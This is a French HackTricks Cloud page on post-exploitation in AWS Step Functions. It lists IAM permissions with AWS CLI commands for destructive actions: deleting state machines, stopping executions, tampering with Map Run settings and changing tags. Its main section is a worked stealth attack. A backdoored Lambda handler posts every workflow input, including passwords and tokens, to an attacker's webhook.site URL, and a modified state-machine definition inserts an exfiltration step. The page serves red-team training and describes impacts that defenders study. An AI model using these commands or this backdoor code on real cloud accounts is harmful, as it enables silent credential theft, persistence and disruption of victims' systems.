AWS - Step Functions Post Exploitation
Reading time: 7 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Step Functions
Pour plus d'informations sur ce service AWS, consultez :
states:RevealSecrets
Cette permission permet de révéler des données secrètes à l'intérieur d'une exécution. Pour cela, il est nécessaire de définir le niveau d'inspection (Inspection level) sur TRACE et le paramètre revealSecrets sur true.
.png)
states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias
Un attaquant disposant de ces permissions pourrait supprimer de manière permanente des state machines, leurs versions et alias. Cela peut perturber des workflows critiques, entraîner une perte de données et nécessiter un temps important pour récupérer et restaurer les state machines affectées. De plus, cela permettrait à un attaquant d'effacer les traces utilisées, de perturber les investigations forensiques et potentiellement de paralyser les opérations en supprimant des processus d'automatisation essentiels et les configurations d'état.
note
- En supprimant une state machine, vous supprimez également toutes ses versions et alias associés.
- En supprimant un alias de state machine, vous ne supprimez pas les versions de la state machine faisant référence à cet alias.
- Il n'est pas possible de supprimer une version de state machine actuellement référencée par un ou plusieurs alias.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- Impact potentiel : Perturbation des workflows critiques, perte de données et indisponibilité opérationnelle.
states:UpdateMapRun
Un attaquant disposant de cette permission pourrait manipuler la configuration d'échec de Map Run et le paramètre de parallélisme, pouvant augmenter ou diminuer le nombre maximal d'exécutions de workflows enfants autorisées, affectant directement la disponibilité et les performances du service. De plus, un attaquant pourrait altérer le pourcentage et le nombre d'échecs tolérés, pouvant réduire cette valeur à 0, de sorte que chaque fois qu'un élément échoue, l'intégralité du Map Run échouerait, affectant directement l'exécution de la state machine et perturbant potentiellement des workflows critiques.
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- Impact potentiel: Dégradation des performances et perturbation des workflows critiques.
states:StopExecution
Un attaquant disposant de cette permission pourrait arrêter l'exécution de n'importe quelle state machine, perturbant les workflows et processus en cours. Cela pourrait entraîner des transactions incomplètes, l'arrêt des opérations commerciales et une possible corruption des données.
warning
Cette action n'est pas prise en charge par les express state machines.
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- Impact potentiel : Perturbation des workflows en cours, indisponibilité opérationnelle et possible corruption des données.
states:TagResource, states:UntagResource
Un attaquant pourrait ajouter, modifier ou supprimer des tags des ressources Step Functions, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur les tags.
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
Impact potentiel : perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur les tags.
states:UpdateStateMachine, lambda:UpdateFunctionCode
Un attaquant qui compromet un utilisateur ou un rôle disposant des autorisations suivantes :
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
...peut mener une high-impact and stealthy post-exploitation attack en combinant Lambda backdooring avec Step Function logic manipulation.
Ce scénario suppose que la victime utilise AWS Step Functions to orchestrate workflows that process sensitive input, such as credentials, tokens, or PII.
Exemple d'invocation de la victime :
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
Si la Step Function est configurée pour invoquer une Lambda comme LegitBusinessLogic, l'attaquant peut procéder à deux variantes d'attaque furtives :
Mise à jour de la fonction Lambda
L'attaquant modifie le code de la fonction Lambda déjà utilisée par la Step Function (LegitBusinessLogic) pour exfiltrer silencieusement les données d'entrée.
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
Ajouter un état malveillant au Step Function
Alternativement, l'attaquant peut injecter un exfiltration state au début du flux de travail en mettant à jour la définition du Step Function.
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
L'attaquant peut être encore plus discret en mettant à jour la définition d'état comme ceci { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } où la victime ne remarquera pas la différence
Configuration de la victime (Context for Exploit)
- A Step Function (
LegitStateMachine) est utilisée pour traiter des entrées utilisateur sensibles. - Elle appelle une ou plusieurs fonctions Lambda telles que
LegitBusinessLogic.
Impact potentiel:
- Silent exfiltration de données sensibles, y compris secrets, identifiants, clés d'API et PII.
- Aucune erreur visible ou échec dans l'exécution du workflow.
- Difficile à détecter sans auditer le code Lambda ou les traces d'exécution.
- Permet une persistance à long terme si la backdoor reste dans le code ou la logique ASL.
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud